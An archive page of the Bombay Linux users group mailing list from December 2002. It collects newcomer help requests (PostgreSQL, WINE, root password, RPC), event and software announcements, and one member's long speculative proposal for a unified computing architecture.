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Linux India Initiatives
by Philip S Tellis 20 Dec '02

20 Dec '02

I have been asked to forward these two files to the list, but as they are too big, I have put them on my website and am sending the links: http://staff.ncst.ernet.in/~philip/Annexure.ps http://staff.ncst.ernet.in/~philip/Letter+for+Linux+Meeting.ps Philip -- The purpose of Physics 7A is to make the engineers realize that they're not perfect, and to make the rest of the people realize that they're not engineers.

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please help
by prasant kumar sahu 20 Dec '02

20 Dec '02

some one change my (susi linux 7.1) root password so i could not enter into root please tell me how can i enter. it will display file sytem error give root password for repair . the repair command is fsck /dev/fd9 but how can i enter it will not display (root prompt #)after give root passwprd if will fix the bug and it will display file system repaired then next time i can enter into root.so plese tell me. prasant

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C and emacs
by Rahul Saxena 20 Dec '02

20 Dec '02

hi there, Can i look at values of constants or expressions, probably from an another file, say a header or somthing, using emacs. I guess it would involve going going through all the #defines or constructs in the header files ? I dont know how to program emacs and was wondering if somone show me a macro or somthing. :-p thanks and regards -rahul -- drug, n: A substance that, injected into a rat, produces a scientific paper.

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Re:CASE Tools needed
by pshah＠adaptivesoftware.biz 19 Dec '02

19 Dec '02

Check out ArgoUML at www.tigris.org Its a good UML tool written in Java. regards Parag

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(no subject)
by c raja kumar 19 Dec '02

19 Dec '02

hallo sir i copied one file from system to floppy.in the same system itself i opened the floppy. the file is in floppy.but when i put the floppy in another system and while opening the floppy the file is not there.it gives the following message. "it has read only option" please anybody answer

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URGENT REQUREMENT : Linux Pro
by akshaysalkar 19 Dec '02

19 Dec '02

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Faster Startup of apps
by Amish Munshi 19 Dec '02

19 Dec '02

Hi, About one year back in a Mandrake mailing-list one of the developer pointed out that they could not keep programs in memory as windows does with IE, so apps take longer to startup on unices. I was willing to keep some of the apps in memory and let them occupy my memory in favour of faster startups of those apps. I have not idea how to do this. Any clues on how this can be accomplished? Presently I am using Mandrake 9.0 on AMD K6-2 500Mhz, 160MB RAM. I would like a generic solution that can be applied on any distribution or unix rather than a Mandrake specific solution. Thanks in advance. Bye.

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Re: Urgent: Mail not being delivered: Problem (almost) solved
by Bhargav Bhatt 19 Dec '02

19 Dec '02

consultant(a)columbia.edu wrote: > What is the list you are referring to? Have there been any bounced > messages that we can see? > > Joyce Fetterman The mailing list is ilug-bom (linuxers(a)mm.ilug-bom.org.in - Indian Linux Users Group - Bombay). After this problem occured, I opened up another subscription to the list using this very email account but a different alias i.e bhargav.bhatt(a)columbia.edu instead of bbb2004(a)columbia.edu. Then it seemed to be work fine. However, the first problem(no mail from the list to bbb2004(a)columbia.edu) still remained. So then i just cancelled the subscritption from bbb2004(a)columbia.edu and it still worked So no problems anymore, Yippe! :) Thanks a lot for getting back, though. -- Bhargav Bhatt, Columbia University. -- "If English was commutative, we could all talk like Yoda." - Anonymous.

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SQL
by slash_axl_rose_upen 18 Dec '02

18 Dec '02

hi all I want to learn mysql on linux but i have not worked with sql also how do i get started and which is a good book for sql on linux thnkx in advance __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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CASE Tools needed
by Sankha Subhra Som 18 Dec '02

18 Dec '02

Hi, Can someone tell me about some CASE tools available under GPL for Linux that provide end to end support for the SDLC. Something on the lines of Rational . . . Regards Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** OK, who stopped payment on my reality check?

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Need a Linux Implementor
by vikas kashikar 11 Dec '02

11 Dec '02

I need help from a Linux implementor on a full-time to assist/contribute more in Linux implementation projects. Knowledge of C and PHP will be ideal VIkas --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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(no subject)
by prasad 11 Dec '02

11 Dec '02

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Photos of Dec 2002 LUG Meet @ KReSIT
by Dinesh Shah 10 Dec '02

10 Dec '02

Hi All, Here are the Photos of LUG Meet. (Pictures by Navin Dhanuka. Thx Navin :-)) http://db.ilug-bom.org.in/lug-meetings/Dec-2002/ Will put minutes ASAP. Need input for 1st hour of the meet. (Reached there @ 5:00pm instead of 4:00pm :-( ) Enjoy... With regards, -- --Dinesh Shah :-) Shah Micro System Dinesh(a)ShahMicro.com Mobile: (+91) 98213-11906 Res: (+91-22) 56919423 Tel: (+91-22) 26747120

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[Announce] libyahoo2 0.6.2
by Philip S Tellis 10 Dec '02

10 Dec '02

libyahoo2 0.6.2 has been released http://libyahoo2.sourceforge.net/ libyahoo2 is a C library implementation of a Yahoo! Messenger client. Changes include: * Fixes to work with big endian systems * Multiple offline messages are now received correctly * Memory leaks cleaned up * Check for glib-2 as well as glib-1 * Added a pkgconfig file and spec file for RPM, and make libyahoo2 versioned * libyahoo2 now automatically scans ports 21, 23, 25 and 80 if it cannot connect on the default port. * no longer strip colour/style codes from messages * added colour entry for any colour to yahoo2_types.h Get it at http://libyahoo2.sourceforge.net/ libyahoo2 comes with a sample client that you can use as a template to build your own client. Questions? Post them on the libyahoo2-users mailing list Bugs? Report them on the website. -- No matter who you are, some scholar can show you the great idea you had was had by someone before you.

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A humble suggestion for robust system
by Rajagopal Iyer 10 Dec '02

10 Dec '02

greetings and ! I am an IT professional for last 18 years having varied experience in h/w, applications, network on various platforms. I am currently overseeing the IT operations of a leading construction company in Mumbai. After following linux in general and open source software in particular, I believe one question would have crossed people's mind at least once: Can there ever, single image deployable distribution, be made? In other words, can a single distribution fit all? In the process of following up various development in the OSS and after a study of REAL and PRACTICAL computing requirements, I found out that there is very little integrated approach to the open source computing architecture. I have tried my best to define one purely from Indian context. I hereby submit it for review of the linux user group. I hope you all find it meaningful, practical and easy. I welcome all questions, comments and criticisms. Many of the technologies are alrady available. I am ready to work with others to make it a reality. Rajagopal S. Iyer ---------- begin Architecture definition ----------------- yajur aNOTHER jOINT uNDERTAKING rESULT - veda eXTENSIBLE dISTRIBUTED aRCHITECTURE Proposed Computing Environment By Rajagopal S. Iyer, Thane, Mumbai. Phone: (9122) 547 3884 (Sr. Co-ordinator, Facilities, ISD, Lok Group) e-mail : rajsand(a)hindunet.com Copyright (C) 16th February 2002, Rajagopal S. Iyer. All rights Reserved by the author. Organisations and People who run it don't require computers: They require their familiar, private, powerful, secure computing environment anywhere, anytime. This architecture keeps the human in the centre of the design. Care has been taken to ensure that Most of the ideas mentioned here can be implemented with off the shelf technology with realtime acceptable performance for the user. A Vertically integrated machine with this architecture is not in existance but can be built by doing modifying various underlying technologies. vEDA eXTENSIBLE dISTRIBUTED aRCHITECTURE (veda) is proposed for very high availability and location freedom and absolute privacy. The proposed architecture A Unified Machine (AUM) architechture is proposed Overall architecture: The layered architecture is described below: The selection is based on ready availability of necessary hardware & Software. Many of the proposed channels are already functional and available under GNU GPL or other open source licence. Storage Pyramid: (all serving as network data reservoir) Registers (0) Cache (1) RAM (2) - Storage for programs RAM (3) - as a Cache for devices below HDD (4) Optical R/W & R/O disks(5) Magnetic tape (7) CPU/Kernel Pyramid (Only two states: Running and housekeeping) It is 128-bit word architecture out of which 120 bits for data and 8 bits for ECC. Error Checking and correction algorithm is based on a simple binary tree representation and a small recursive function which terminates when two immediate neighbours are found. Running implies that the CPU continuously switches between four states preemptively in real-time Run Level 0: (Kernel) (Ring 0) IPC Media : registers Line frequency synchroniser Premptive Task Switcher Memory Manager Device Drivers Heartbeat Generator/ Responder Network communicator local/remote real time calender (cosmological) Run Level 1: (Two Tasks only) IPC Media : Cache Memory Each task will listen and process from exactly one input channels and give output to exactly two channels. those two channels could be any. Virtual Machine 0 & 1 (Takes one input and gives two outputs - Local & network) Input Threads: (two only) Check & Listen to Local Input Device (core dump errors) Check & Listen to Network Input Devices (core dump errors) Process Threads (heartbeat core dumps to local storage) Take data from Input device (core,log dump after Checking) Prepare transfer of data (Presentation & core,log dump) Output Data to output devices (after Checking Tee to n/w and local storage) Output threads Check & Talk to Local Output Devices (core dump errors) Check & Talk to Network Output Devices (core dump errors) Run level 2 (Two Tasks Only - Graphics processing) IPC Media : RAM Typical tasks (high bandwidth requirement) Input = Images / Sound Process = Image/High bandwidth signals Output task = Display Update Run Level 3 (Two tasks only - Structured Text / Voice processing) IPC Media : RAM Typical Process (Voice processing, Structured Text processing) Input = Sound Device Processing = Uses ITRANS/ other algorithms Output = Sound Device Run level 4 (User Interface) Typical Applications: User authentication Configuration Selection IPC Media : HDD Input = Composite Processing = Transaction Output = Composite Run level 5 (long term processing - User Applications) IPC Media : Replicated file system Input : Messages from user in composite media Process : Composite processing using all lower run level facilities) Output : Messages to User in composite media Primitive Data types : Numbers: only whole numbers (unsigned 128 bit integer) 64613997892457936451903530140000000 = 2^119 1329227995784915872903807060280000000 = 2^120 (Max) no floating point representations no negative numbers representation in bare machine Zero represented by all zero bits Only closed infinity representation (all 1s) (affine or closure?) Text: Plain Ascii Graphic: For the simplicity sake of this architecture outline, A ring of primary colour Red Green Blue and White as four points are assumed. The ratio is somewhat similar to Television standards colour ratio for white and then twisting it a bit to suit to our prime requirement of simplicity and practicality Only Two colour spaces, RGBW and CMYB, are considered. Red, Green, Blue & White for display devices Cyan, Magenta, Yellow, Black for Print Devices The reason for adding white int RGB is for white temperature of 6500K. As the largest primitive definition (square limits are assumed as computationally it is easier on my brain): Raster: Each Pixel has 120 bits allocated for it for each colour. bit allocation for RGBW system are: 12 for Red 75 for Green 13 for Blue 20 for White 8 bits for ECC. (To be used as Data in Device Space) Vector: 57 bits : 19 per dimension (x,y,z) start point (524228 mm In device space) 57 bits : 19 for relative co-ordinates (x,y,z) from start point (all zero here can be treated as a point) 6 bitsRGB colour for each starting & ending points. 8 bits for ECC Black or Non existance is all zero which is anyway not needed. All 1s will indicate a white line from begin to end point (ECC excluded). White or Black component not needed in pure colour space as the temperature, as percieved, could be essentially noise caused due to superimposition of the various waves from the invisible electromagnetic spectrum. For clarity sake the data for coordinates may be represented by Pure 7-bit ASCII at a higher level as each point at the most may require 22 bytes. (7x3) + 1 for colour (known light speed 300,000,000,000 mm/s) (To be used as Address in the device space) ( Comment on Practical Dimensions: 524 meters in X Y and Z dimensions > 1/2 KM media? -- Devices are still not available! ) Graphic Primitive Processing: Processing is by reading the co-ordinate and doing a binary recursion as specified above for either vectorising or rasterising depending on the device. Start at device Origin, Recurse along the X axis, at the end of device limit, switch axis to Y and then in Z axis, Return to Origin. Graphic Computational speed & predictability: As the binary recursion algorithm has the known termination condition under all circumstances, it can be safely said that rendering for worst case of two adjecent pixels P0(0,0,0 - R1G1B1) and P1(0,0,1 - R2G2B2), only the end points needs to be taken and the maximum iterations will be 6 * 13 = 78 iterations. In the proposed architecture it will take 78 clock cycles to render one graphic primitive primitive. Worst case will be one bit change in each of the succesive pixel. Proof of Efficiency of algorithms are to mathematically proved. O(n) to be obtained mathematically. {-- Proof? who? me? No, Sorry! I am mathematically challenged :-) } Network Layers (OSI based - Total 7) Physical (7 total): (Criteria: Speedwise and vicinity wise decreasing order) CPU-Internal-Registers (CPU/memory Bus(0)), CPU-RAM / Display path (1), CPU-System Bus (Sound card video capture) (2), Disk bus : SCSI, fibre channel (3) Ethernet (4), IR/Wireless (5), Serial Port (6) (allows use of local phone lines for PPP) Network: Ring 0 = Register Ring 1 = Cache Ring 2 = RAM Ring 3 = RAM Ring 4 = HDD Transport: Presention Translation???? Application Scheduling algorithm. There are three states to this machine: 0. Running 1. Preparatory 2. Wait 3. Review 4. Reorder Priority 5. Cycle complete The time slice ratio for these recommended are 20, 75, 12, 13 (total 120) clock cycles respectively 0. Running In this state the process is actually run 1. Preparatory In this state the necessary resource allocations for running the process is prepared 1. Read the Process Table 2. allocate necessary resources 3. signal to run the process 2. Wait State This is the stage the machine execute the heartbeat function which consists of 1. read any error status from the heartbeat messages of other nodes 2. prepare the status report 3. write error / log messages in the respective locations 3. Review In this state, the messages after running of the process and the necessary steps for transmitting the messages to the next process are taken 4. Reorder states In this stage, the states of the two processes are altered (If the state of the process 0 is 0123 then 1032 and of the process 1 is 1032 change to 0123) 5. Cycle Complete state In this state the Necessary logging of Machine state and heartbeat, Cycle No Detail Stamping is to be taken care of (Fill details here) 6. State Increment State This is the crucial state where the promotion of state is done. 7. respawn state process with incremented states will launch itself ??? (Fill in properly) In between these state is the idle state. The suggested scheduling is sequence (In the Real time) 0-->1-->1-->0-->0-->1-->2-->2-->1-->0-->0-->1-->2; 1-->2-->2-->1-->1-->2-->3-->3-->2-->1-->1-->2-->3. (VM0) | v 4 | v 0-->1-->1-->0-->0-->1-->2-->2-->1-->0-->0-->1-->2; 1-->2-->2-->1-->1-->2-->3-->3-->2-->1-->1-->2-->3. (VM1) | v 5 | v 6 | v 7 (This is binary recursion with the termination condition that both the neighbours of the tree are found.) Directed graph representation of states (Root) (0) / \ (1) (2) \ (3) If the inversion of 0 & 1 states are not done the machine will enter a be running uncontrollably with the binary recursion algorithm that is used for task scheduling. The head-inversion causes two breaks. The task is deemed completed only after machine enters the Idle State. In fact this data structure and processing can be replicated in the upper rings which will result in predictable performance. Performence factors are to be worked out mathematically. Implementation, & Availability Issues ------------------------------------------------- the two Ring-1 tasks are two identical clustered virtual machines using MOSIX or any other similar Kernel pathces. The clustering of one box with another is thru SCSI or System bus. (so there can be a single box high performance Cluster). Fibre channel/100mbps n/w media is the second option. Each machine is identical to each other in function. they communicate using Registers as network media. The proposed machine's will a Replicated, jounalled, file system. Where two disks are available, RAID Technology should be used. There is only one login and two directories for each person. The network is Purely a private network (IP address Space) with network path to Internet wherever necessary. It is envisaged that, by carefully planning each node's IP address and their neighbours, We will never run out of Private IP Address. The only data flowing in this network (if all participating machines are according to this architecture) will be 7-bit ASCII text The the most secure network protocol with PGP signature is suggested for base configuration. The User Authentication / configuration management is to be managed with LDAP. This include machine specific optimised utilities for highest degree of interoperability. All the network listen channel should act as an input device (stdin). All the network talk channels should act as an output device (stdout). All the network error channels should act as on error device (stderr). Hardware: The machine should be able to use the following as the network media: Register, Cache, System Bus, SCSI, NIC, Serial port, Parallel port, Sound (can be picked up thru System Bus), Optical & Wireless The machine should be able to draw energy out of following sources: Electrical, optical, Solar, chemical, Sound (if possible) The network and energy source path can be the same. Each of the machine will have a compute node, storage node and varied network paths as described above. Each node participating in this computer will have exactly one path for talk and listen. It should be able to Talk/listen through any of external network port to any other machine. All the network node will have fixed addresses for each network port. The base machine itself will have One IP address Networking protocols supported will be TCP/IP. Optionally IPX/SPX and NCP may be supported. Network Environment As the Machine is always in listen mode for message and talks only when required, the network bandwith requirements are based on three parameters associated with the message processing: 1. Path 2. Quanta 3. Frequency The aim is to select path in such a way that the product of quanta and frequency, (which gives the total message size) is transmitted through the network physical layer within user-acceptable time frame. The most common information formats are (in decreasing order of bandwidth requierement): 1. Video 2. Sound 3. Structured Text 4. Cosidering the common applications a correspondance table can made as follows: Network environment supports System environment GNU/Linux is suggested for is immense scalability and flexibility and most importantly configurability and its case sensitivess to file names as it is the heart of ITRANS encoding scheme for system filenames. All the networking code should be optimised into kernel. This machine will have at the primitive instrauction which will emulate the processing as described above. The base software which is suggested EMACS in its various incarnations as the self recursive nature of self-insert-command is what makes it the most extensible software. CVS at a lower level will ensure automatic journalling of all changes: textual and binary It is proposed that this machine will use ITRANS envelope for self-insert-command. This will ensure that the machine will be able to translate Voice into ITRANS encoding. As Sanskrit is a phonetic language, and ITRANS a viable and very practical representation of phonetics, A user will just have to record the basic letters of sanskrit that will be stored for voice reproduction. The messages can then be displayed and user's interpretation of the message is recorded and stored as a parameter "mother toungue" of the user. This too can be embedded in kernel with a little bit of effort. ITRANS processing should also be part of kernel. This will reduce the bandwidth requirement for data as only encoded text is required to produce speech. (ITRANS processing does not require backstepping). The phonetic ITRANS atom is max. 3 characters. The Cosmological time recording system should be the base time machine for all time processing. Already Open Source libraries are available for this. (Solar, Lunar, Planetery positions, Phase of moon, galaxy coordinates etc.) conversion routines for various current time systems should be there. The name space (LDAP or PostgreSQL Implementation) Transaction Engine A Unit transaction is defined as recording of the changes related to an entity caused by an internal or external event reliably. The transaction model is essentialy an event driven model. A single table - Event log - is to be maintained which captures all the external and internal events Event Master table will enumerate all the possible events at the given level of operation. Name Master will enumerate all the possible names that can be encountered in the system. Each name will have backward and forward pointers. Backward pointers for Source of Name, Forward pointers for transformed entities. It will also have an alias property referring to its alias in the same table. Data model for transactions It essentially consists of two self referential entities. This model yields itself to self learning feature of EMACS which is intended as the primary front end. In a parametrised form, the data model can be viewed as given below (In Hierarchical Model -- Inverted Tree) An entity can be oen of the three types: Human or System or Physical Corresponding Human Entities are: Person / Organisation Unit / Organisation System Entities are (all are goals -- Desire): Functional / Organisational Unit / Organisation Functional Entities are: Person / Organisational Role / Processes Physical entity can be Person or Hardware or Message An entity is located at: Physical or Document or Network A message can be Requirement / Status / Event Messages in the Physical forms verbal / Internal / External (Images/Document) Requirement will arise through expression and when recognised, will go through following four states in the order specified on each event type as shown below: (C) (M) (T) Desire ---> Want ---> Need ---> Necessity Status state diagram will be the following (C) (M) (T) Initialisation ---> Running ---> Result ---> Logging Event State Diagram will be: Creation ---> Modification ---> Transformation ---> Wait ^ | | | +-------------------------------------------------+ A matrix of the above could be formed to obtain master table and transaction tables. It should be an orthogonal matrix to arrive at precise relations. at the lowest level,each Name has three properties: 1. Space Value 2. Money Value 3. Time Value Event Model A message triggers one or more or a combination thereof of the three events: 1. Creation 2. Modification 3. Transformation (into another name) The events Themselves are to be logged seperately in the audit trial table or event log table. These events causes insertion into the Transaction table with a time/location stamp. Any modification of any entity will cause also cause Transaction insertion. Transformation causes the change of name and an entry in the transaction table. After transformation the original entity ceases to exist for further transactions. Reports: Any kind of Report can be generated using a universal cross tabular reporting function from a normalised table of transaction. EMACS can be tweaked to be a report writer after EMACS isearch is modified with suitable atoms. (minimal effort..Lazy way out) In fact all the data may be stored in pure text as EMACS is Extremely good at handling pure text. Development tools: A suitable Development tool to define the Data model can be suitably designed for easy access of Data +++++++++++++++++++++++ REVIEW THOROUGHLY the following +++++++++++++++ (insert, update and delete thoughts only here) All the entities will have the followiong common attributes 1. Name 2. Location 3. Location timestamp 4. Type (Person) 5. Value Timestamp 6. Value (in Number) 7. Creation timestamp 8. Last Access begin timestamp 9. Last Access end timestamp 10. Last Modify begin timestamp 11. Last Modify end timestamp 12. Transformed to (target entity) 13. Transformation timestamp In the above scheme every entity has three phases: 1. Comes into existance at a given location at a given point of time with a given value at that point of time. 2. Its Value, location and other attributes may get modified over time which are recorded in the database 3. It finally gets transformed into another Name (after this go to step 1) A message is recorded along with every event that happens. A database of the following are to be available always: 1. Name of the entity 2. Value of the entity 3. Space of the entity (Add remaining database details here) A transaction engine which emulates the kernel in processing transaction. Transaction Engine will track Name, Message, Space, Value, state simultaneously and time / location stamp them. Each Transaction has four States: Initiation, Running, Sustanance and Perpetuality Each Message/Value transfer has Four State: Dire Needs, Actual, Key (for what???), Maintenence (of What?-- specify). Every transaction has four states at which money/material exchange occurs: 1. Initation 2. Actual 3. Result 4. Maintenance (Put a good deal of explanation text in here) ( a good begining would be a template in c++ taking a token of any data type as the argument, allocate memory and return a pointer to the that token. well I can't think further .... :-) int CreateData(<RetType> a) { <RetType> (typeof(a) malloc(NULL, a, sizeof(a)) } ...... or whatever... hope u get the point rather thatn syntax ) +++++++++++++++++++++++ END REVIEW THOROUGHLY ++++++++++++++++++++++++ Hard copy printing Environment. It is envisaged that Four primary drivers must be made available: 0. Pure Text 1. Epson 9 and 24 Pin emulation 2. HP PCL Emulation 3. Postcript Language support Environment It is necessay that a minimum of following character sets 0. Plain ASCII character Set (7-bit) 1. Unicode 2. Devnagari (San98 TTF or Xdvng with suitably modified glyphs for ITRANS encoding) With glyphs in 0. GUI Mode 1. Character mode in either Hardware / Software form is made availble User environment ---------------- Each user will have exactly one login and one root directory. The owner of the directory decides the physical location of data The system will have on-demand appearence of file on invocation of a command (either timed or user decided) It is recommended that the user have two top level storage domains: Work (Organisation controlled access) Personal or Pleasure (User Controlled access) Rest all can be Organised below these two domains with relevent symlinks Application visibility is based on the User profile in the authentication System. This authentication System can then be suitably integrated with certification authority for B2B and other Internet based secure application requirements. A private port can be leased. The Machine fingerprint is stored in the LDAP. Based on the fingerprint the most suitable image from any of the nearby machine will be loaded. Training Isssues Primary user training will be on Touch Typing (gtypist) and EMACS in character mode. Only incremental training will then be required (Except for exceptional cases pointer device may not be required for most of the usual user activities under this architecture as mouse is deemed as a time waster / disruptive technology. Hence GUI Training takes a backseat.) Application training will be specific depending upon user profile. The user can use Character or Graphical Interface depending upon the available hardware at that point of time and machine The typical applications the Base users will need are: Document Processor (LaTeX) Text Processor (EMACS) Spreadsheet (SC or any better as required) Internet Browser (W3) E-mail (rmail of Emacs/mutt/pine) Printing to any printer from above application All the above application will be in character mode For slightly advanced users: All of the above in GUI and Character Mode. Bitmap Image Processor Vector Image Processor Presentation package Sound Recorder / Editor / Listner Video Recorder / Player For Developers: All the above and CVS Access All the necessary development tools For system end: LDAP (Authentication) PostreSQL or SAPdb (or similar RDBMS) for Data Storage (optional) A Transaction Engine A Time Engine A Logger Engine A Location Engine (with Lat/long/height & distance calculator) ---------- End Architecture definition ----------------- ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/

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LUG Meet query
by Bilal Ahmed Mazhar 10 Dec '02

10 Dec '02

Hello All I became LUG member last year while searching linux article for my LAN setup. Even though I have been receiving messages everyday but don't read message deeply due to work load of migrating applications and other data to Linux platform. I am still on the way but at a glance today's article tells some kind of LUG meet. I don't know what is LUG meet? If its a meeting of mailing list members what is the aim and purpose of the meet? Is it chargeable? Kindly clear my queries. From: Bilal Ahmed Mazhar EDP Manager

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rpc broadcast problem
by vipin Dravid 10 Dec '02

10 Dec '02

hi i am stuck here in a rpc broadcast(udp) problem...i am unable to send rpc reuest to other linux m/cs on LAN thru my prog using clnt_broadcast(), when checked externally thru rpcinfo , i am getting response from other unix m/cs (solaris , unixware) but no other linux box is responding .... if somebody can throw any light , pls help Catch all the cricket action. Download Yahoo! Score tracker

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Re: [ILUG-BOM] Photos of Dec 2002 LUG Meet @ KReSIT
by Amish Mehta 10 Dec '02

10 Dec '02

Also it will be nice if some1 can reduce size of pictures. My ISP charges me based on MB downloaded. I guess using compression-bit downsizing pictures can be reduced to 20-30k in size. Thanks. Amish. Philip S Tellis wrote: >On Tue, 10 Dec 2002, Chetan Vaity wrote: > >> >http://db.ilug-bom.org.in/lug-meetings/Dec-2002/ > >Can someone send me a commentary for each of the pictures? I'll put it >up along with the pictures. It will be nice for those who couldn't >attend. > >-- >Lewis's Law of Travel: > The first piece of luggage out of the chute doesn't belong to anyone, > ever. > > >-- >_______________________________________________ > >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > >

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Re: [ILUG-BOM] Problems with JDBC and Postgresql on Linux
by Amish Mehta 10 Dec '02

10 Dec '02

Also, postmaster should be run with -i option. Or the better way is to set that option in 'postgresql.conf' located somewhere in /var/lib/pgsql/ Amish. Devdas Bhagat wrote: >On 10/12/02 02:31 +0530, Nikhil D. Kikkeri wrote: >> A connection error has occured: FATAL 1:No pg_hba.conf entry for >> host 127.0.0.1, user foo,database petshop >Make an entry in /var/lib/pgsql/data/pg_hba.conf >host petshop 127.0.0.1 255.255.255.255 crypt > >Devdas Bhagat > >-- >_______________________________________________ > >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > >

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Problems with JDBC and Postgresql on Linux
by Nikhil D. Kikkeri 10 Dec '02

10 Dec '02

Hi, I am kind of new to using PostgreSQL.I wrote a program which establishes a simple connection to the database by passing in three parameters; the database , username and password. I have created a postgres user and a have assigned it a password by using the createuser script. however running the program throws some exception which is as follows A connection error has occured: FATAL 1:No pg_hba.conf entry for host 127.0.0.1, user foo,database petshop and the first line of the stacktrace goes something like this at org.postgresql.jdbc1.AbstractJdbc1Connection:openConnection(.... I am not trying to do anything fancy over here, so any method to make postgres and jdbc run is welcome.I use Mdk Linux 9.0 which i think comes with PostgresSQL 7.3. thanx Nikhil _________________________________________________________________ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus

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Re: [ILUG-BOM] Running Windows Programs.
by SoftHome 09 Dec '02

09 Dec '02

Hello GNU/Linux lovers, I tried using VMWare but it runs too slow on my machine. SM>From: "Shahed Moolji" <shahed(a)enoor.com> SM>To: <linuxers(a)mm.ilug-bom.org.in> SM>Subject: Re: [ILUG-BOM] Running Windows Programs. SM>Date: Sun, 8 Dec 2002 17:11:45 -0600 SM>Reply-To: linuxers(a)mm.ilug-bom.org.in SM>Hi, SM>I use vmware. Its commercial, and its probably not SM>quite the same as WINE , but it does allow me to SM>test network apps between linux SM>and windows, without having another SM>physical machine. SM>Regards SM>Shahed -- Best regards, Jayesh mailto:samantjayesh@softhome.net

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Linux Lunacy at Arnala Beach resort.
by Mitul Limbani 09 Dec '02

09 Dec '02

GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Mitul : 9820332422 Trevor : 9820349221 Dinesh : 9821311906 Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Best Regards, Mitul Limbani CTO, Enterux Solutions (http://www.enterux.com/) P.S: The above details are as confirmed to me by Trevor

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screen saver
by vipin Dravid 09 Dec '02

09 Dec '02

hi guys one trivial query, can i create and run my own screen saver ??? how to make a new screen saver work ??? i know KDE uses *.kss executables as screen saver, intead can i run a screen saver using xscreensaver ( a new one not system defaults) Catch all the cricket action. Download Yahoo! Score tracker

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Running Windows Programs
by Girish Hanchate 09 Dec '02

09 Dec '02

You can use staroffice 6.0 also which is product of SUN to handle documents, Presentations & spreadsheets & it is very decent product. rgds girish Hi, KOffice, OpenOffice can handle your documents, presentations, spreadsheets etc as efficiently (rather more) than dear M$. Mozilla, Lynx, Konquerer ... etc are great for viewing websites. there are better mail clients so at the end of the day why do want to run M$ app from Linux when you have better alternatives. still if u want to use IE/ Office try using WINE - it does a decent job for lightweight M$ apps but u cant be sure as it is still in development. Regards Harsh R Busa _________________________________ BackendGuru Technologies http://www.BackendGuru.com info(a)BackendGuru.com Tel : 098206-93048 / 91-22-28985205 ----- Original Message ----- Subject: [ILUG-BOM] Running Windows Programs. > > Hello everyone, I am new to this group and this is my first mail. I > am also new to Linux and have a doubt. I want to run Internet > Explorer and Office or any other good Windows program in Linux. > Is there a way to do it? > > Thanking in advance. > > -- > Best regards, > Jayesh mailto:samantjayesh@softhome.net __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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[Commercial] Vidyakash 2002 - International Conference on Online learning
by Philip S Tellis 09 Dec '02

09 Dec '02

Some of you may be aware of Vidyakash 2002, the rest of you can have a look at http://www.ncst.ernet.in/vidyakash2002/ People interested can either register online, or download the registration forms and mail them in to us. We're offering a special discounted rate for students. Conference registration for just Rs.750/- Tutorial registration is Rs.500/- for a half day tutorial and Rs.800/- for a full day tutorial. Students will not receive a conference kit, but will receive everything else (like lunch, for example ;) Rates for others: Delegates from Non-profit / Educational Organisations Conference: Rs.1500, Tutorial: full day: Rs.1200, half day: Rs.800 Other Delegates Conference: Rs.2500, Tutorial: full day: Rs.2000, half day: Rs.1200 Register at http://www.ncst.ernet.in/vidyakash2002/ Mail vidyakash2002(a)ncst.ernet.in for more details. Phone: (022) 27565303/04/05 (Navi Mumbai) Philip

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Using Dreamweaver with WINE
by Kapil Karekar 09 Dec '02

09 Dec '02

Hi Luggers, I tried using Dreamweaver with wine. However it is not working. Whenever I try to run any windows programs it throws up a kernel32.dll error. Does anybody know how to tackle this? The exact error message is given below: err:module:PE_fixup_imports Module (file) KERNEL32.dll (which is needed by C:\windows\system\version.dll) not found err:win32:PE_LoadLibraryExA can't load C:\windows\system\version.dll err:module:MODULE_LoadLibraryExA Loading of native DLL C:\windows\system\version.dll failed (error 14), check this file. err:module:PE_fixup_imports Module (file) VERSION.dll (which is needed by C:\Program Files\Macromedia\Dreamweaver 2\Dreamweaver.exe) not found I tried including the line "kernel32" = "builtin,native", the result was that I got the error given below: err:win32:do_relocations FATAL: Need to relocate C:\windows\system\kernel32.dll, but no relocation records present (stripped during link). Try to run that file directly ! err:module:MODULE_LoadLibraryExA Loading of native DLL C:\windows\system\kernel32.dll failed (error 193), check this file. err:module:PE_fixup_imports Module (file) KERNEL32.dll (which is needed by C:\windows\system\version.dll) not found err:win32:PE_LoadLibraryExA can't load C:\windows\system\version.dll err:module:MODULE_LoadLibraryExA Loading of native DLL C:\windows\system\version.dll failed (error 14), check this file. err:module:PE_fixup_imports Module (file) VERSION.dll (which is needed by C:\Program Files\Macromedia\Dreamweaver 2\Dreamweaver.exe) not found Thanks! Kapil Karekar

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Running Windows Programs.
by SoftHome 09 Dec '02

09 Dec '02

Hello GNU/Linux lovers, Hello everyone, I am new to this group and this is my first mail. I am also new to Linux and have a doubt. I want to run Internet Explorer and Office or any other good Windows program in Linux. Is there a way to do it? Thanking in advance. -- Best regards, Jayesh mailto:samantjayesh@softhome.net

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Java Applets on Linux Netscape
by kshitijv 08 Dec '02

08 Dec '02

